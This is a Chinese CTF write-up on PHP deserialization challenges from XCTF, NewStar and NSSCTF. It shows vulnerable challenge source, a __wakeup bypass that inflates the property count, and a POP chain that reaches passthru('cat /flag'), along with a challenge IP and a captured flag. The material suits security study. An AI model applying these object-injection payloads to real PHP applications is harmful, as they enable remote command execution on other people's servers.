反序列化(unserialize)

攻防世界

攻防世界 (xctf.org.cn)

unserialize3

__wakeup绕过:可以通过增加对象的属性个数来进行绕过

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a = new xctf();
echo(serialize($a));
?>
http://61.147.171.105:61734?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

 得到flag:cyberpeace{e40f96c8dc00bbd08233834d6c5aa473}

a1natas ctf

PHP_UNSERIALIZE ( 1 )

打开什么都没有

dirsearch

得到php文件 

<?php
class ctf{
    public $name;
    public $type;
    function __construct($name, $type){
        $this->name = "AsaL1n";
        $this->type = "web";
    }
    function __destruct(){
        if($this->name==="newstar"&&$this->type==="winner"){
           $cmd=$_POST['cmd'];
           system($cmd);
        }
    }
}
$hello=$_POST["weber"];
if(isset($hello)){
    unserialize($hello);
}
?>

编写playload

PHP_UNSERIALIZE ( 2 )

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctf{
    public $name;
    public $type;
    function __construct($name, $type){
        $this->name = "AsaL1n";
        $this->type = "web";
    }
    function __destruct(){
        echo md5($this->name);
    }
}
class welcome{
    public $web;
    function __toString()
    {
        $func=$this->web;
        return $func();
    }
}

class world{
    public $flag;
    function __invoke(){
        passthru($this->flag);
    }
}

$hello=$_POST["weber"];
if(isset($hello)){
    unserialize($hello);
}
?> 

编写playload: 

<?php
class ctf{
    public $name;
    public $type;
}
class welcome{
    public $web;
}
class world{
    public $flag;
}
$a=new ctf();
$a->name=new welcome();
$a->name->web=new world();
$a->name->web->flag="cat /flag";
echo (serialize($a));
?>

 NSS

[SWPUCTF 2021 新生赛]no_wakeup

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>
<?php
class HaHaHa{
    public $admin="admin";
    public $passwd="wllm";
}
$a=new HaHaHa();
echo serialize($a);
?>

 

  • 34
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值